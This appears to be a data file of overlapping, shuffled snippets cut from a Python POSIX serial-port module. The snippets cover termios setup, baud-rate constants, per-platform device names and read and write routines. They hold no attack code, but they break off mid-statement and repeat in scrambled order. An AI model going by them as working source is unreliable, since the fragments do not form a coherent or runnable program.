to number ttys on\",\n \"* # Do check the Python version as some constants have moved. if\",\n \"arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific\",\n \"def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def\",\n \"if custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup\",\n \"io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation.\",\n \"(poll)') # we don't care if it is select.POLLIN or timeout, that's #\",\n \"device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"OS so that a device can be selected... # this code block should\",\n \"and not buf: break # early abort on timeout return bytes(read) if __name__\",\n \"TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation and the base\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat[:6] == 'darwin': # OS\",\n \"currently in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s =\",\n \"point. if not buf: # Disconnected devices, at least on Linux, show the\",\n \"on this platform\\\") baudrate_constants = {} elif plat[:3] == 'aix': # AIX def\",\n \"def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to handle non standard baud\",\n \"import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else:\",\n \"use values from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET')\",\n \"case, wait until all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer,\",\n \"no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output the given\",\n \"iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if\",\n \"Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems support\",\n \"can be selected... # this code block should supply a device() and set_special_baudrate()\",\n \"else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based\",\n \"and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR\",\n \"= ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later\",\n \"up rtscts (and xonxoff etc) fails?? # buffer # vmin \\\"minimal number of\",\n \"any exception when closing the port # also to keep original exception that\",\n \"does not run on this platform, sorry.\\\" # whats up with \\\"aix\\\", \\\"beos\\\",\",\n \"0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011,\",\n \"# AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"/ no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT\",\n \"2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200:\",\n \"= select.select([self.fd],[],[], self._timeout) # If select was used with a timeout, and the\",\n \"buffer, aborting the current output and discarding all that is in the buffer.\\\"\\\"\\\"\",\n \"# open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd =\",\n \"\\\"\\\"\\\"For easier use of the serial port instance with select. WARNING: this function\",\n \"os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port): return device(port) #\",\n \"device names. # load some constants for later use. # try to use\",\n \"behavior. for Python 2.6 and newer, that provide the new I/O # library,\",\n \"TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear\",\n \"# module for serial IO for POSIX compatible systems, like Linux # see\",\n \"else: raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if self._stopbits\",\n \"this platform\\\") baudrate_constants = {} elif plat[:3] == 'aix': # AIX def device(port):\",\n \"to read but returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self,\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd' or \\\\\",\n \"'/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"select based implementation, proved to work on many systems def read(self, size=1): \\\"\\\"\\\"Read\",\n \"struct.unpack('I',s)[0] # select based implementation, proved to work on many systems def read(self,\",\n \"getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later except ValueError: raise\",\n \"d[n:] t = t - n except OSError as v: if v.errno !=\",\n \"the requested number of bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by\",\n \"rate: %r' % self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize\",\n \"state after given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def\",\n \"10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error\",\n \"def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"raise writeTimeoutError d = d[n:] t = t - n except OSError as\",\n \"has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys on this system. !\",\n \"vmin = 1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag,\",\n \"read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while\",\n \"elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there\",\n \"or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD (confirmed\",\n \"= hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC\",\n \"emulation class Serial(PosixSerial, FileLike): pass else: # io library present class Serial(PosixSerial, io.RawIOBase):\",\n \"self.fd is None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL)\",\n \"= { 0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003,\",\n \"return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier\",\n \"# this code block should supply a device() and set_special_baudrate() function # for\",\n \"platform it has chances # to work using a string with the real\",\n \"timeout occurs, it # returns with empty lists -> thus abort read operation.\",\n \"32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] =\",\n \"configuration is done with termios and fcntl. Runs on Linux and many other\",\n \"== 'darwin': # OS X version = os.uname()[2].split('.') # Tiger or above can\",\n \"baudrate_constants = {} elif plat[:4] == 'irix': # IRIX (partially tested) def device(port):\",\n \"raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0\",\n \"|= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char\",\n \"= fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select\",\n \"based read implementation. not all systems support poll properly. however this one has\",\n \"= hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS\",\n \"import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t)\",\n \"# OS X version = os.uname()[2].split('.') # Tiger or above can support arbitrary\",\n \"if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &=\",\n \"baud rate: %r' % self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if\",\n \"# set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception\",\n \"raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud < 0: raise\",\n \"to work using a string with the real device name as port parameter.\",\n \"= {} elif plat[:2] == 'hp': # HP-UX (not tested) def device(port): return\",\n \"except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' %\",\n \"and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI\",\n \"ospeed, cc]) # apply custom baud rate, if any if custom_baud is not\",\n \"- len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >= 0) or\",\n \"Jython # module for serial IO for POSIX compatible systems, like Linux #\",\n \"SerialException('write failed: %s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file like\",\n \"cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX support\",\n \"close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd =\",\n \"set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\") def device(port): return '/dev/cuad%d' % port\",\n \"cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a port is nonexistent\",\n \"ready to read immediately # but reading returns nothing. raise SerialException('device reports readiness\",\n \"enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a\",\n \"TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data\",\n \"0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003,\",\n \"# try to use values from TERMIOS, use defaults from linux otherwise TIOCMGET\",\n \"# read should always return some data as select reported it was #\",\n \"self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] &\",\n \"system. ! Use an explicit path (eg /dev/ttyS1) or send this information to\",\n \"select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size: # print\",\n \"device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending on flow control\",\n \"speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to\",\n \"with current settings. This may throw a SerialException if the port cannot be\",\n \"(v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects. In this case,\",\n \".... # they should work, just need to know the device names. #\",\n \"implementation. Serial port configuration is done with termios and fcntl. Runs on Linux\",\n \"\\\"minimal number of characters to be read. = for non blocking\\\" if vmin\",\n \"0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any\",\n \"= t - n except OSError as v: if v.errno != errno.EAGAIN: raise\",\n \"NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port,\",\n \"struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS,\",\n \"def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know\",\n \"self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC,\",\n \"(port+1) #XXX different device names depending on flow control def set_special_baudrate(port, baudrate): raise\",\n \"control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial\",\n \"is None: raise SerialException(\\\"Can only operate on a valid file descriptor\\\") custom_baud =\",\n \"on this platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd' or \\\\ plat[:7]\",\n \"% self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag\",\n \") s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' % s.read(5)) sys.stdout.write('%s\\\\n' % s.inWaiting()) del\",\n \"show the # behavior that they are always ready to read immediately #\",\n \"other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings. This may\",\n \"select to wait for being ready # with the time left as timeout\",\n \"is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class\",\n \"returns nothing. raise SerialException('device reports readiness to read but returned no data (device\",\n \"port and where the counting starts for the first serial port. e.g. 'first\",\n \"if not ready: raise writeTimeoutError d = d[n:] t = t - n\",\n \"operation) also abort when there # is nothing to read. if not ready:\",\n \"is possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else:\",\n \"raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self):\",\n \"= hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS\",\n \"except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud <\",\n \"device name of the serial port and where the counting starts for the\",\n \"until device becomes ready to read (or something fails) for fd, event in\",\n \"&= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &=\",\n \"else: timeout = None while t > 0: try: n = os.write(self.fd, d)\",\n \"when we get to this point. if not buf: # Disconnected devices, at\",\n \"= vtime = 0 # timeout is done via select if self._interCharTimeout is\",\n \"raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom baud rate,\",\n \"self.fd = None if self._port is None: raise SerialException(\\\"Port must be configured before\",\n \"'netbsd': # NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' % port\",\n \"timeout: # when timeout is set, use select to wait for being ready\",\n \"1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit\",\n \"/dev/ttyS0' and with a bit luck you can get this module running... \\\"\\\"\\\"\",\n \"AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud\",\n \"specifc implementation and the base # for file-like behavior. for Python 2.6 and\",\n \"and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST\",\n \"setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\" if self.fd is None:\",\n \"and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout = None\",\n \"- when hardware or software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION)\",\n \"else: # version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\")\",\n \"is no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB)\",\n \"struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\"\",\n \"easier use of the serial port instance with select. WARNING: this function is\",\n \"&= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else:\",\n \"= FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud rate:\",\n \"sys.platform = %r os.name = %r serialposix.py version = %s also add the\",\n \"timeout = time.time() + self._writeTimeout else: timeout = None while t > 0:\",\n \"portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def\",\n \"flush(self): \\\"\\\"\\\"Flush of file like objects. In this case, wait until all data\",\n \"return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific - -\",\n \"# number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number\",\n \"enable software flow control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1)\",\n \"requested number of bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read\",\n \"flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding all that is in the buffer.\\\"\\\"\\\" if self.fd\",\n \"device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when closing\",\n \"- - - - def inWaiting(self): \\\"\\\"\\\"Return the number of characters currently in\",\n \"license, see license.txt # # parts based on code from <NAME> <<EMAIL>>: #\",\n \"should there be a warning if setting up rtscts (and xonxoff etc) fails??\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} else: # platform\",\n \"'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG\",\n \"{} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' %\",\n \"#TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and\",\n \"# is nothing to read. if not ready: break # timeout buf =\",\n \"binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL',\",\n \"5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize) #\",\n \"%r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB)\",\n \"IOError: raise ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants =\",\n \"75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600:\",\n \"# to work using a string with the real device name as port\",\n \"/dev file, it'll fail here raise SerialException(\\\"Could not configure port: %s\\\" % msg)\",\n \"if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def\",\n \"|= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts:\",\n \"the Python version as some constants have moved. if (sys.hexversion < 0x020100f0): import\",\n \"& TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if\",\n \"platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port):\",\n \"In this case, wait until all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear\",\n \"%s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects. In\",\n \"else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL =\",\n \"- - def inWaiting(self): \\\"\\\"\\\"Return the number of characters currently in the input\",\n \"baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError:\",\n \"0: try: n = os.write(self.fd, d) if timeout: # when timeout is set,\",\n \"os.name = %r serialposix.py version = %s also add the device name of\",\n \"file-like emulation class Serial(PosixSerial, FileLike): pass else: # io library present class Serial(PosixSerial,\",\n \"use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415\",\n \"the # behavior that they are always ready to read immediately # but\",\n \"When active, no transmitting is possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if\",\n \"elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |=\",\n \"raise ValueError(\\\"baud rate not supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants =\",\n \"elif plat[:3] == 'bsd' or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] ==\",\n \"% self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8:\",\n \"it may return less characters as requested. With no timeout it will block\",\n \"all that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd,\",\n \"TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if\",\n \"this system. ! Use an explicit path (eg /dev/ttyS1) or send this information\",\n \"this platform\\\") baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX (not tested)\",\n \"file, it'll fail here raise SerialException(\\\"Could not configure port: %s\\\" % msg) #\",\n \">= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high\",\n \"BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port,\",\n \"\\\"\\\"\\\" % (sys.platform, os.name, VERSION)) # no exception, just continue with a brave\",\n \"raise SerialException(\\\"Could not configure port: %s\\\" % msg) # set up raw mode\",\n \"properly. however this one has better handling of errors, such as a device\",\n \"(TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity\",\n \"timeout, and the timeout occurs, it # returns with empty lists -> thus\",\n \"one has better handling of errors, such as a device disconnecting while it's\",\n \"platform\\\") baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed) def device(port):\",\n \"struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set\",\n \"= os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException(\\\"could not\",\n \"= getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later except ValueError:\",\n \"always return some data as select reported it was # ready to read\",\n \"the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25):\",\n \"%r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0\",\n \"thus abort read operation. # For timeout == 0 (non-blocking operation) also abort\",\n \"(TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow control #\",\n \"To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str)\",\n \"except: try: os.close(self.fd) except: # ignore any exception when closing the port #\",\n \"for the platform it has chances # to work using a string with\",\n \"raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup char len cflag &=\",\n \"vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag,\",\n \"= d[n:] t = t - n except OSError as v: if v.errno\",\n \"(sys.platform, os.name, VERSION)) # no exception, just continue with a brave attempt to\",\n \"only operate on a valid file descriptor\\\") custom_baud = None vmin = vtime\",\n \"a /dev file, it'll fail here raise SerialException(\\\"Could not configure port: %s\\\" %\",\n \"is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def\",\n \"\\\"have\\\", len(read) #debug # wait until device becomes ready to read (or something\",\n \"TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and\",\n \"- - - - - - - - def inWaiting(self): \\\"\\\"\\\"Return the number\",\n \"or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and not buf: break\",\n \"else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity iflag\",\n \"0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0]\",\n \"status line: Data Terminal Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level:\",\n \"# see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed\",\n \"def getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd is None:\",\n \"_reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd is None: raise SerialException(\\\"Can\",\n \"opened port.\\\"\\\"\\\" if self.fd is None: raise SerialException(\\\"Can only operate on a valid\",\n \"t = t - n except OSError as v: if v.errno != errno.EAGAIN:\",\n \"def flush(self): \\\"\\\"\\\"Flush of file like objects. In this case, wait until all\",\n \"TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS =\",\n \"if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status\",\n \"this module: sys.platform = %r os.name = %r serialposix.py version = %s also\",\n \"baud rate on this platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this module\",\n \"= None self._isOpen = False def makeDeviceName(self, port): return device(port) # - -\",\n \"array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd,\",\n \"bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray() while\",\n \"blocking\\\" if vmin < 0 or vmin > 255: raise ValueError('Invalid vmin: %r\",\n \"class POSIX implementation. Serial port configuration is done with termios and fcntl. Runs\",\n \"device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"timeout is set it may return less characters as requested. With no timeout\",\n \"= hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2\",\n \"raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0\",\n \"select.POLLIN or timeout, that's # handled below buf = os.read(self.fd, size - len(read))\",\n \"error (poll)') # we don't care if it is select.POLLIN or timeout, that's\",\n \"else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation and\",\n \"break condition. Timed, returns to idle state after given duration.\\\"\\\"\\\" if self.fd is\",\n \"TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to idle state after\",\n \"given string over the serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t\",\n \"% self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif\",\n \"None: raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[],\",\n \"# this is distributed under a free software license, see license.txt # #\",\n \"size > 0: while len(read) < size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read)\",\n \"to handle non standard baud rate on this platform\\\") baudrate_constants = {} elif\",\n \"chances # to work using a string with the real device name as\",\n \"os, fcntl, termios, struct, select, errno, time from .serialutil import * # Do\",\n \"def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32) # get\",\n \"# rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &=\",\n \"= struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK\",\n \"TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status line:\",\n \"\\\"\\\"\\\"poll based read implementation. not all systems support poll properly. however this one\",\n \"to this point. if not buf: # Disconnected devices, at least on Linux,\",\n \"to read (or something fails) for fd, event in 